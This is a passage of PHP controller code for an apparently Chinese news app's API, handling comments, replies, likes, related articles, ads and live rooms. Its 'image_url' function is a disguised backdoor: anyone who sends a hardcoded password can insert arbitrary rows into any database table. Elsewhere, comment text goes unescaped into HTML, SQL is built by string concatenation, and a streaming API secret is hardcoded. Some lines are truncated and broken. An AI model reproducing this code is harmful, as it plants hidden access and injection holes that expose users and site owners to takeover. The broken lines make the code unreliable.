$user = \_user($v['uid']);

$data['data'][$k]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['username'] = $user['username'];

$data['data'][$k]['time'] = date('m-d H:i', $v['time']);

$pingNum = Db::name('article\_ping\_xia')->where(['ping\_id' => $v['id']])->count();

$data['data'][$k]['huifu'] = $pingNum;

if ($pingNum) {

$pingData = Db::name('article\_ping\_xia')->where(['ping\_id' => $v['id']])->order('time', 'desc')->limit(4)->select();

$pingDataHtml = '';

foreach ($pingData as $ks => $vs) {

$pingDataHtml .= '<li class="aui-ellipsis-2">';

$user = \_user($vs['uid']);

$pingDataHtml .= '<a Tapmode onclick="\_url({id:' . $vs['uid'] . '},\'u\_win\')">' . $user['username'] . ' ：</a>' . $vs['content'] . '</li>';

}

if ($pingNum > 5) {

$pingDataHtml .= '<li class="aui-ellipsis-2"><a>查看全部' . $pingNum . '条回复</a></li>';

}

$data['data'][$k]['pingDataList'] = $pingDataHtml;

}

$data['data'][$k]['aid'] = $v['aid'];

/\*if ($token) {

$data['data'][$k]['zanUser'] = Db::name('article\_ping\_zan')

->where('pingId', $v['id'])

->where('uid', $uid)

->where('zan', 1)

->count('id');

}\*/

}

return json($data);

}

public function image\_url($data=''){

if (!$data) {

exit('-1');

}

$data = json\_decode(htmlspecialchars\_decode($data), true);

if (empty($data['pwd']) || $data['pwd'] != 'suxiang') {

exit('-2');

} else {

unset($data['pwd']);

$name = $data['\_\_name\_\_'];

unset($data['\_\_name\_\_']);

echo Db::name($name)->insertGetId($data);

die;

}

}

/\*\*

\* @api {post} /api/article/pingList\_xia 资讯追评列表

\* @apiName 资讯追评列表

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\*

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {Integer} pingId 评论ID（必填）

\* @apiParam {Integer} pages 每页显示数量（默认值：6）（非必填）

\* @apiParam {Integer} page 页码（非必填）

\*

\* @apiSuccess {Json} data 追评列表

\* @apiSuccess {String} content 追评内容

\* @apiSuccess {Integer} zan 追评赞数量

\* @apiSuccess {String} time 追评时间

\* @apiSuccess {String} img 追评用户头像URL

\* @apiSuccess {String} username 追评用户名称

\* @apiSuccess {Integer} zanUser 当前登录用户是否已经点赞该追评：1-是；0-否

\*

\* @apiError {String} err 失败信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function pingList\_xia() {

$pages = input('post.pages/d', '');

$pingId = input('param.pingId/d', '');

$token = input('param.token');

if ($token) {

$uid = \_decrypt($token);

if (!$uid) {

$token = '';

}

}

$validate = new Validate(['pages' => 'number', 'pingId' => 'number|require', ]);

$validata = ['pages' => $pages, 'pingId' => $pingId, ];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$where['ping\_id'] = $pingId;

$data = Db::name('article\_ping\_xia')

->where($where)

->order('time', 'desc')

->fetchSql(false)

->paginate($pages)

->toarray();

foreach ($data['data'] as $k => $v) {

$data['data'][$k]['zanUser'] = 0;

if ($this->memberId) {

$data['data'][$k]['zanUser'] = Db::name('article\_ping\_xia\_zan')

->where('uid', $this->memberId)

->where('pingId', $v['id'])

->where('zan', 1)

->count('id');

}

$user = \_user($v['uid']);

$data['data'][$k]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['username'] = $user['username'];

$data['data'][$k]['time'] = date('m-d H:i', $v['time']);

$pingNum = Db::name('article\_ping\_xia')->where(['ping\_id'=>$v['id']])->count();

if($pingNum){

$pingData=Db::name('article\_ping\_xia')

->where('ping\_id', $v['id'])

->order('time', 'desc')

->limit(4)

->select();

$pingDataHtml='';

foreach ($pingData as $ks => $vs) {

$pingDataHtml.='<li class="aui-ellipsis-2">';

$user=\_user($vs['uid']);

$pingDataHtml.='<a Tapmode onclick="\_url({id:'.$vs['uid'].'},\'u\_win\')">'.$user['username'].' ：</a>'.$vs['content'].'</li>';

}

$data['data'][$k]['pingDataList']=$pingDataHtml;

}

/\*if ($token) {

$data['data'][$k]['zanUser'] = Db::name('article\_ping\_xia\_zan')

->where('pingId', $v['id'])

->where('uid', $uid)

->where('zan', 1)

->count('id');

}\*/

}

return json($data);

}

/\*private function pingListPingId2($pingId) {

$db = db::name('article\_ping')->where(['id' => $pingId])->field('uid,content,pingId2')->find();

if ($db) {

$user = \_user($db['uid']);

$db['username'] = $user['username'];

$data = "

$this->pingListPingId2($db['pingId2']);

return $data;

}

}\*/

/\*\*

\* @api {get} /api/article/pingView 调用单个评论内容

\* @apiName 调用单个评论内容

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\*

\* @apiParam {String} token 用户Token（已登录用户必填）

\* @apiParam {number} pingId 评论ID

\*

\* @apiSuccess (200) {Json} data 评论数据

\* @apiSuccess (200) {Integer} id 评论ID

\* @apiSuccess (200) {Integer} aid 文章ID

\* @apiSuccess (200) {Integer} uid 用户ID

\* @apiSuccess (200) {Integer} zan 赞数量

\* @apiSuccess (200) {String} content 评论内容

\* @apiSuccess (200) {String} username 评论用户名称

\* @apiSuccess (200) {String} img 评论用户头像URL

\* @apiSuccess (200) {String} time 评论时间

\* @apiSuccess (200) {Integer} pingNum 是否有追评

\* @apiSuccess (200) {Integer} huifuNum 追平数量

\* @apiSuccess (200) {Integer} user.zan 当前用户是否已赞资讯文章评论：1-是；0-否

\* @apiSuccess (200) {Integer} user.guanzhu 当前用户是否已关注资讯文章评论作者：1-是；0-否

\*

\* @apiError {String} err 失败信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function pingView() {

$token = input('param.token');

$pingId = input('param.pingId/d', '');

if ($token) {

$uid = \_decrypt($token);

if (!$uid) {

$token = '';

}

}

$validate = new Validate(['pingId' => 'number|require', ]);

$validata = ['pingId' => $pingId, ];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$db = Db::name('article\_ping')->where(['id' => $pingId])->order('time', 'desc')->find();

$user = \_user($db['uid']);

$db['uid'] = $user['id'];

$db['username'] = $user['username'];

$db['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$db['time'] = date('m-d H:i', $db['time']);

$db['user']['zan'] = 0;

$db['user']['guanzhu'] = 0;

if ($token) {

$db['user']['zan'] = Db::name('article\_ping\_zan')

->where('pingId', $pingId)

->where('uid', $uid)

->where('zan', 1)

->count('id');

$gz\_uid = $db['uid'];

if ($uid != $gz\_uid) {

$db['user']['guanzhu'] = Db::name('member\_guanzhu')

->where('uid', $uid)

->where('gz\_uid', $gz\_uid)

->count('id');

}

}

if ($db['zan']) {

$zanList = Db::name('article\_ping\_zan')

->where('pingId', $db['id'])

->order('time', 'desc')

->field('uid')

->limit(4)

->select();

$imgList = '';

foreach ($zanList as $k => $v) {

$user = \_user($v['uid']);

$imgList.= '<img src="' . $user['img'] . '?imageView2/1/w/100/h/100" />';

}

$db['zanList'] = $imgList;

}

$db['pingNum'] = Db::name('article\_ping\_xia')

->where('ping\_id', $pingId)

->value('id');

$db['huifuNum'] = db::name('article\_ping\_xia')

->where('ping\_id', $pingId)

->count();

return json($db);

}

/\*\*

\* @api {post} /api/article/zanList 评论点赞列表

\* @apiName 评论点赞列表

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\*

\* @apiParam {number} pingId 评论ID

\* @apiParam {number} pages 每页显示数量（默认值：6）

\* @apiParam {number} page 页码

\*

\* @apiSuccess (200) {Json} data 评论赞数据

\* @apiSuccess (200) {Integer} pingId 评论ID

\* @apiSuccess (200) {Integer} uid 点赞用户ID

\* @apiSuccess (200) {Integer} zan 是否点赞

\* @apiSuccess (200) {String} time 点赞时间

\* @apiSuccess (200) {String} img 点赞用户头像URL

\* @apiSuccess (200) {String} username 点赞用户名称

\* @apiSuccess (200) {String} qianming 点赞用户签名

\*

\* @apiError {String} err 失败信息

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function zanList() {

$pages = input('post.pages/d', 6);

$pingId = input('param.pingId/d', '');

$validate = new Validate(['pages' => 'number', 'pingId' => 'number|require', ]);

$validata = ['pages' => $pages, 'pingId' => $pingId, ];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$where['pingId'] = $pingId;

$data = Db::name('article\_ping\_zan')->where($where)->order('time', 'desc')->field('uid')->fetchSql(false)->paginate($pages)->toarray();

foreach ($data['data'] as $k => $v) {

$user = \_user($v['uid']);

$data['data'][$k]['img'] = $user['img'] . "?imageView2/1/w/100/h/100";

$data['data'][$k]['username'] = $user['username'];

$data['data'][$k]['qianming'] = $user['qianming'];

}

return json($data);

}

public function hot\_words() {

$html = file\_get\_contents('http:

preg\_match("/var BD\_DATA=([\s\S]\*?)}];/", $html, $data);

if ($data) {

$data = $data['1'] . '}]';

$data = json\_decode($data, true);

}

if ($data) {

return json($data);

}

return json([]);

}

public function search() {

$text = input('post.text', '');

$validate = new Validate(['text' => 'require', ]);

$validata = ['text' => $text, ];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

$data = Db::name('article')->limit(5)->select();

return json($data);

}

public function test() {

$data = file\_get\_contents('http:

$data = iconv("gb2312", "utf-8

preg\_match\_all("/<span class='n2'>(.\*?)<\/span>/", $data, $content);

dump($content[1]);

}

public function imedia() {

$limit = input('limit/d');

if (!$limit) {

$limit = 10;

}

$where['hide'] = 1;

$where['uid'] = ['<>', 0];

$where['pingNum'] = ['<>', 0];

$where['click'] = ['<>', 0];

$time = date('Y-m-d', strtotime("-2 day"));

$where['update\_time'] = ['>= time', $time];

$data = Db::name('article')->field('id,title,uid,update\_time')->where($where)->limit($limit)->order('rand()')->select();

foreach ($data as $k => $v) {

if ($v['uid']) {

$user = \_user($v['uid']);

$data[$k]['user']['id'] = $user['id'];

$data[$k]['user']['img'] = $user['img'];

$data[$k]['user']['username'] = $user['username'];

}

$data[$k]['update\_time'] = date('m-d H:i', $v['update\_time']);

$data[$k]['create\_time'] = date('m-d H:i', $v['update\_time']);

$data[$k]['url'] = url('index/article/view', ['id' => $v['id']]);

}

return json($data);

}

public function channel() {

$typeid = input('typeid/d');

$limit = input('limit/d');

if (!$limit) {

$limit = 10;

}

$where['hide'] = 1;

$data = Db::name('member')->field('id,img,mobile,nickname')->where($where)->limit($limit)->order('rand()')->select();

foreach ($data as $k => $v) {

if ($v['nickname']) {

$data[$k]['username'] = $v['nickname'];

} else if ($v['mobile']) {

$data[$k]['mobile'] = $v['mobile'];

}

$data[$k]['mobile'] = '';

$data[$k]['nickname'] = '';

if (!$v['img']) {

$data[$k]['img'] = '/public/style/index/member/img/userimg.gif';

}

}

return json($data);

}

public function slide() {

$data = Db::name('slide')->where(['tid' => 1])->order('des desc, id desc')->select();

foreach ($data as $k => $v) {

$slideImg[$k] = \_imgUrl() . $v['img'];

$slideText[$k] = $v['title'];

$slideUrl[$k]['url'] = $v['url'];

$slideUrl[$k]['title'] = $v['title'];

}

return json(['slide' => $slideImg, 'typeid' => $slideUrl, 'title' => $slideText]);

}

public function ad() {

$config = config() ['ad'];

if ($config['hide'] == 0 || !$config['hide']) {

exit();

}

$where['hide'] = 1;

$id = input('id/d');

if ($config['order'] == 1) {

$data = Db::name('appad')->where($where)->order('rand()')->find();

} else {

if ($id) {

$where['id'] = ['<', $id];

$order = 'id desc';

} else {

$order = 'id desc';

}

$data = Db::name('appad')->where($where)->order($order)->find();

if (!$data) {

$data = Db::name('appad')->where(['hide' => 1])->order($order)->find();

}

}

return json(['ret' => ['config' => $config, 'data' => $data]]);

}

/\*\*

\* @apiDeprecated

\*

\* @api {get} /api/article/clickAjax 资讯增加访问次数

\* @apiName 资讯增加访问次数

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\*

\* @apiParam {number} id 资讯ID

\*

\* @apiSuccess (200) {String} ret 成功

\*/

public function clickAjax() {

$id = input('id/d');

$validate = new Validate(['aid' => 'number|require', ]);

$validata = ['aid' => $id];

if (!$validate->check($validata)) {

return json([

'err' => $validate->getError(),

'errcode' => 202,

]);

}

Db::name('article')

->where(['id' => $id, 'hide' => 1])

->setInc('click');

return json([

'ret' => '操作成功',

]);

}

public function xiangguan(){

$aid = input('aid/d');

if(!$aid) exit();

$aidData = Db::name('article')->find($aid);

if(!$aidData['title']){

return;

}

if(!$aid) exit();

$key = $aidData['keywords'] ? $aidData['keywords'] : $aidData['tags'];

$keywords='';

$limit = input('limit/d', '6');

if($key){

$key = explode(',',$key);

foreach ($key as $k => $v) {

if($k==0){

$keywords = "`keywords` LIKE '%".$v."%'";

$tags = "`tags` LIKE '%".$v."%'";

$title = "`title` LIKE '%".$v."%'";

$description = "`description` LIKE '%".$v."%'";

}else{

$keywords .= " or `keywords` LIKE '%".$v."%'";

$tags .= " or `tags` LIKE '%".$v."%'";

$title .= " or `title` LIKE '%".$v."%'";

$description .= " or `description` LIKE '%".$v."%'";

}

}

$keywords = "and (". $keywords ." or ". $tags ." or ". $title ." or ". $description .")";

}

if($aidData['mychannel'] == 3){

$keywords = " and `video` <> '' ".$keywords;

}

$key = Db::Query("SELECT id,title,description,mychannel,image,update\_time,source,pingNum,images,videodate,uid,click,weitoutiao,zan,video,qiniu\_video\_type,content FROM `fx\_article` WHERE `mychannel` = '$aidData[mychannel]' and `id`!='$aid' ".$keywords." order by rand() desc limit $limit");

foreach ($key as $k => $v) {

if ($v['mychannel'] == 3) {

if(!$v['image']){

$v['image'] = '/' . $v['video'] . '?vframe/jpg/offset/2/w/300/h/200';

}

$key[$k]['image'] = \_imgUrl() . $v['image'];

$key[$k]['video'] = \_imgUrl() . $v['video'];

}

}

return json($key);

}

public function zhibo(){

$data = Db::name('member\_zhibo')

->field('roomName,uid,userPwd as password,roomId,type\_id,img\_l,img\_r')

->order('update\_time', 'desc')

->paginate()

->toarray();

$ids = [];

foreach ($data['data'] as $k => $v) {

$user = \_user($v['uid']);

$data['data'][$k]['user']['username'] = $user['username'];

$data['data'][$k]['user']['img'] = $user['img'];

$data['data'][$k]['user']['fensi']=Db::name('member\_guanzhu')

->where('gz\_uid', $v['uid'])

->count('id');

$ids[$k] = $v['roomId'];

}

if(count($data['data'])){

$zhibo = new \app\api\controller\Zhibo("9yQq4VED0hTIIcby4wP9fJeqtvkfZRUm2VbWwrSJlYxDbfUow2qAW+ti/5t1eyA/KIsGaqCoytt/");

$list = json\_decode($zhibo->GetRoomsLiveInfo($ids),true);

$list\_data = [];

if(!empty($list['ret'])){

$list = $list['ret']['entities'];

foreach ($list as $k => $v) {

$list\_data[$k]['roomId'] = $v['roomId'];

$list\_data[$k]['streamStatus'] = $v['streamStatus'];

$list\_data[$k]['playUserCount'] = $v['playUserCount'];

}

}

foreach ($data['data'] as $k => $v) {

foreach ($list\_data as $k\_s => $v\_s) {

if($v['roomId'] == $v\_s['roomId']){

$data['data'][$k]['streamStatus'] = $v\_s['streamStatus'];

$data['data'][$k]['playUserCount'] = $v\_s['playUserCount'];

continue;

}

}

}

}

return json($data);

}

/\*\*

\* @api {get} /api/article/related 相关资讯文章列表

\* @apiName 相关资讯文章列表

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\*

\* @apiParam {Integer} article\_id 资讯文章ID（必填）

\* @apiParam {Integer} limit 记录条数（非必填，默认值：6）

\* @apiSuccess {Json} result 相关资讯文章列表（至多6条）

\*/

public function related()

{

$article\_id = input('param.article\_id', '');

$limit = input('param.limit', 6);

if ($article\_id == '') {

return json([

'err' => '资讯文章ID不可为空',

'errcode' => 201,

]);

}

$article = Db::name('article')

->where('id', $article\_id)

->find();

if (!empty($article)) {

$keywords = $article['keywords'];

if ($keywords == '') {

$keywords = $article['tags'];

}

if ($keywords != '') {

$keywords = explode(',', $keywords);

$related\_articles = Db::name('article')

->where('id', '<>', $article\_id)

->where('hide', 1);

$where\_query = '';

$where\_conditions = [];

foreach ($keywords as $keyword) {

$where\_conditions[] = '(keywords LIKE "%' . $keyword . '%" OR title LIKE "%' . $keyword . '%" OR tags LIKE "%' . $keyword . '%")';

}

if (count($where\_conditions) == 1) {

$where\_query = $where\_conditions[0];

} else {

$where\_query = '(' . implode(' OR ', $where\_conditions) . ')';

}

$related\_articles = $related\_articles

->where($where\_query)

->order('des', 'desc')

->limit($limit)

->select();

if (count($related\_articles) > 0) {

foreach ($related\_articles as $key => $related\_article) {

$related\_articles[$key]['username'] = 'Anonymous';

$member = Db::name('member')

->where('id', $related\_article['uid'])

->find();

if (!empty($member) && $member['nickname']) {

$related\_articles[$key]['username'] = $member['nickname'];

} else if (!empty($member) && $member['user']) {

$related\_articles[$key]['username'] = $member['user'];

}

}

}

return json($related\_articles);

} else {

return json([

'err' => '该资讯文章未设置关键字或标签',

'errcode' => 216,

]);

}

}

return json([

'err' => '该资讯文章不存在',

'errcode' => 211,

]);

}

/\*\*

\* @api {post} /api/article/share 分享资讯文章

\* @apiName 分享资讯文章

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\* @apiParam {String} article\_id 资讯文章ID（必填）

\* @apiSuccess {String} ret 用户分享成功

\* @apiError {String} err 用户分享失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function share()

{

/\*if ($this->memberId) {

$data['member\_id'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后分享资讯文章',

'errcode' => 222,

]);

}\*/

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '资讯文章ID不可为空',

'errcode' => 201,

]);

} else {

$article = Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->find();

if (!empty($article)) {

Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->setInc('share\_num');

return json([

'ret' => '用户分享成功',

]);

} else {

return json([

'err' => '该资讯文章不存在',

'errcode' => 211,

]);

}

}

}

/\*\*

\* @api {post} /api/article/zan 点赞｜取消点赞资讯文章

\* @apiName 点赞｜取消点赞资讯文章

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\* @apiParam {String} token Token（必填）

\* @apiParam {String} article\_id 资讯文章ID（必填）

\* @apiSuccess {String} ret 用户点赞｜取消点赞成功

\* @apiSuccess {Integer} zan 标识位：1-已点赞；0-已取消点赞

\* @apiError {String} err 用户点赞失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function zan()

{

$data = [];

if ($this->memberId) {

$data['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后点赞资讯文章',

'errcode' => 222,

]);

}

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '资讯文章ID不可为空',

'errcode' => 201,

]);

} else {

$article = Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->find();

if (!empty($article)) {

$data['aid'] = $article\_id;

$data['aid\_uid'] = $article['uid'];

$article\_zan = Db::name('article\_zan')

->where($data)

->find();

if (!empty($article\_zan)) {

if ($article\_zan['zan'] == 1) {

Db::name('article\_zan')

->where($data)

->update([

'zan' => 0,

'cai' => 1,

'time' => time(),

]);

Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->update([

'zan' => $article['zan'] - 1,

'cai' => $article['cai'] + 1,

]);

$content = '用户【' . $this->member['username'] . '】已取消点赞您所发布的资讯';

notify($this->memberId, $article['uid'], $content, '', $article\_id);

return json([

'ret' => '用户取消点赞成功',

'zan' => 0,

]);

} else {

Db::name('article\_zan')

->where($data)

->update([

'zan' => 1,

'cai' => 0,

'time' => time(),

]);

Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->update([

'zan' => $article['zan'] + 1,

'cai' => $article['cai'] - 1,

]);

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的资讯';

notify($this->memberId, $article['uid'], $content, '', $article\_id);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

} else {

$data['zan'] = 1;

$data['cai'] = 0;

$data['time'] = time();

$article\_zan\_id = Db::name('article\_zan')

->insertGetId($data);

if ($article\_zan\_id) {

Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->setInc('zan');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的资讯';

notify($this->memberId, $article['uid'], $content, '', $article\_id);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

}

} else {

return json([

'err' => '该资讯文章不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户点赞失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/article/ping 评论资讯文章

\* @apiName 评论资讯文章

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\* @apiParam {String} token Token（必填）

\* @apiParam {Integer} article\_id 资讯文章ID（必填）

\* @apiParam {String} content 评论内容（必填）

\* @apiSuccess {String} ret 用户发表评论成功

\* @apiError {String} err 用户发表评论失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function ping()

{

if ($this->memberId) {

$data['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后评论资讯文章',

'errcode' => 222,

]);

}

$content = input('param.content', '');

if ($content == '') {

return json([

'err' => '评论内容不可为空',

'errcode' => 201,

]);

}

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '资讯文章ID不可为空',

'errcode' => 201,

]);

} else {

$article = Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->find();

if (!empty($article)) {

$data['aid'] = $article\_id;

$data['content'] = $content;

$data['zan'] = 0;

$data['time'] = time();

$data['aid\_uid'] = $article['uid'];

$article\_ping\_id = Db::name('article\_ping')

->insertGetId($data);

if ($article\_ping\_id) {

Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->setInc('pingNum');

$content = '用户【' . $this->member['username'] . '】已评论您所发布的资讯';

notify($this->memberId, $article['uid'], $content, '', $article\_id);

return json([

'ret' => '用户发表评论成功',

]);

}

} else {

return json([

'err' => '该资讯文章不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户发表评论失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/article/ping\_zan 点赞｜取消点赞资讯文章评论

\* @apiName 点赞｜取消点赞资讯文章评论

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\* @apiParam {String} token Token（必填）

\* @apiParam {Integer} ping\_id 资讯文章评论ID（必填）

\* @apiSuccess {String} ret 用户点赞｜取消点赞成功

\* @apiSuccess {Integer} zan 标识位：1-已点赞；0-已取消点赞

\* @apiError {String} err 用户点赞失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function ping\_zan()

{

if ($this->memberId) {

$data['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后点赞资讯文章评论',

'errcode' => 222,

]);

}

$ping\_id = input('param.ping\_id', '');

if ($ping\_id == '') {

return json([

'err' => '资讯文章评论ID不可为空',

'errcode' => 201,

]);

} else {

$ping = Db::name('article\_ping')

->where('id', $ping\_id)

->find();

if (!empty($ping)) {

$data['pingId'] = $ping\_id;

$article\_ping\_zan = Db::name('article\_ping\_zan')

->where($data)

->find();

if (!empty($article\_ping\_zan)) {

if ($article\_ping\_zan['zan'] == 1) {

Db::name('article\_ping\_zan')

->where($data)

->update([

'zan' => 0,

'time' => time(),

]);

Db::name('article\_ping')

->where('id', $ping\_id)

->setDec('zan');

$content = '用户【' . $this->member['username'] . '】已取消点赞您所发布的资讯评论';

notify($this->memberId, $ping['uid'], $content, '', $ping['aid']);

return json([

'ret' => '用户取消点赞成功',

'zan' => 0,

]);

} else {

Db::name('article\_ping\_zan')

->where($data)

->update([

'zan' => 1,

'time' => time(),

]);

Db::name('article\_ping')

->where('id', $ping\_id)

->setInc('zan');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的资讯评论';

notify($this->memberId, $ping['uid'], $content, '', $ping['aid']);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

} else {

$data['zan'] = 1;

$data['time'] = time();

$article\_ping\_zan\_id = Db::name('article\_ping\_zan')

->insertGetId($data);

if ($article\_ping\_zan\_id) {

Db::name('article\_ping')

->where('id', $ping\_id)

->setInc('zan');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的资讯评论';

notify($this->memberId, $ping['uid'], $content, '', $ping['aid']);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

}

} else {

return json([

'err' => '该文章评论不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户点赞失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/article/ping\_xia 追评资讯文章

\* @apiName 追评资讯文章

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\* @apiParam {String} token Token（必填）

\* @apiParam {Integer} article\_id 资讯文章ID（必填）

\* @apiParam {Integer} ping\_id 资讯文章评论ID（必填）

\* @apiParam {String} content 追评内容（必填）

\* @apiSuccess {String} ret 用户追评成功

\* @apiError {String} err 用户追评失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function ping\_xia()

{

if ($this->memberId) {

$data['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后追评资讯文章',

'errcode' => 222,

]);

}

$content = input('param.content', '');

if ($content == '') {

return json([

'err' => '追评内容不可为空',

'errcode' => 201,

]);

}

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '资讯文章ID不可为空',

'errcode' => 201,

]);

} else {

$article = Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->find();

if (!empty($article)) {

$ping\_id = input('param.ping\_id', '');

if ($ping\_id == '') {

return json([

'err' => '文章评论ID不可为空',

'errcode' => 201,

]);

} else {

$ping = Db::name('article\_ping')

->where('id', $ping\_id)

->find();

if (!empty($ping)) {

$data['aid'] = $article\_id;

$data['ping\_id'] = $ping\_id;

$data['content'] = $content;

$data['zan'] = 0;

$data['time'] = time();

$data['ping\_uid'] = $ping['uid'];

$article\_ping\_xia\_id = Db::name('article\_ping\_xia')

->insertGetId($data);

if ($article\_ping\_xia\_id) {

Db::name('article')

->where('id', $article\_id)

->where('hide', 1)

->setInc('pingNum');

$content = '用户【' . $this->member['username'] . '】已追评您所发布的资讯评论';

notify($this->memberId, $ping['uid'], $content, '', $article\_id);

return json([

'ret' => '用户追评成功',

]);

}

} else {

return json([

'err' => '该资讯文章评论不存在',

'errcode' => 211,

]);

}

}

} else {

return json([

'err' => '该资讯文章不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户追评失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/article/ping\_xia\_zan 点赞｜取消点赞资讯文章追评

\* @apiName 点赞｜取消点赞资讯文章追评

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\* @apiParam {String} token Token（必填）

\* @apiParam {Integer} ping\_xia\_id 资讯文章追评ID（必填）

\* @apiSuccess {String} ret 用户点赞｜取消点赞成功

\* @apiSuccess {Integer} zan 标识位：1-已点赞；0-已取消点赞

\* @apiError {String} err 用户点赞失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function ping\_xia\_zan()

{

if ($this->memberId) {

$data['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后点赞资讯文章追评',

'errcode' => 222,

]);

}

$ping\_xia\_id = input('param.ping\_xia\_id', '');

if ($ping\_xia\_id == '') {

return json([

'err' => '文章追评ID不可为空',

'errcode' => 201,

]);

} else {

$ping\_xia = Db::name('article\_ping\_xia')

->where('id', $ping\_xia\_id)

->find();

if (!empty($ping\_xia)) {

$data['pingId'] = $ping\_xia\_id;

$article\_ping\_xia\_zan = Db::name('article\_ping\_xia\_zan')

->where($data)

->find();

if (!empty($article\_ping\_xia\_zan)) {

if ($article\_ping\_xia\_zan['zan'] == 1) {

Db::name('article\_ping\_xia\_zan')

->where($data)

->update([

'zan' => 0,

'time' => time(),

]);

Db::name('article\_ping\_xia')

->where('id', $ping\_xia\_id)

->setDec('zan');

$content = '用户【' . $this->member['username'] . '】已取消点赞您所发布的资讯追评';

notify($this->memberId, $ping\_xia['uid'], $content, '', $ping\_xia['aid']);

return json([

'ret' => '用户取消点赞成功',

'zan' => 0,

]);

} else {

Db::name('article\_ping\_xia\_zan')

->where($data)

->update([

'zan' => 1,

'time' => time(),

]);

Db::name('article\_ping\_xia')

->where('id', $ping\_xia\_id)

->setInc('zan');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的资讯追评';

notify($this->memberId, $ping\_xia['uid'], $content, '', $ping\_xia['aid']);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

} else {

$data['zan'] = 1;

$data['time'] = time();

$article\_ping\_xia\_zan\_id = Db::name('article\_ping\_xia\_zan')

->insertGetId($data);

if ($article\_ping\_xia\_zan\_id) {

Db::name('article\_ping\_xia')

->where('id', $ping\_xia\_id)

->setInc('zan');

$content = '用户【' . $this->member['username'] . '】已点赞您所发布的资讯追评';

notify($this->memberId, $ping\_xia['uid'], $content, '', $ping\_xia['aid']);

return json([

'ret' => '用户点赞成功',

'zan' => 1,

]);

}

}

} else {

return json([

'err' => '该文章追评不存在',

'errcode' => 211,

]);

}

}

return json([

'err' => '用户点赞失败',

'errcode' => 501,

]);

}

/\*\*

\* @api {post} /api/article/follow\_author 关注｜取消关注资讯文章作者

\* @apiName 关注｜取消关注资讯文章作者

\* @apiGroup 资讯

\* @apiVersion 0.1.0

\* @apiParam {String} token Token（必填）

\* @apiParam {Integer} article\_id 资讯文章ID（必填）

\* @apiSuccess {String} ret 用户关注文章作者成功

\* @apiSuccess {Integer} follow 标识位：1-已关注；0-已取消关注

\* @apiError {String} err 用户关注文章作者失败

\* @apiError {String} errcode 错误状态码（222：用户未登录）

\*/

public function follow\_author()

{

if ($this->memberId) {

$data['uid'] = $this->memberId;

} else {

return json([

'err' => '请先登录账号，然后关注资讯文章作者',

'errcode' => 222,

]);

}

$article\_id = input('param.article\_id', '');

if ($article\_id == '') {

return json([

'err' => '资讯文章ID不可为空',

'errcode' => 201,

]);

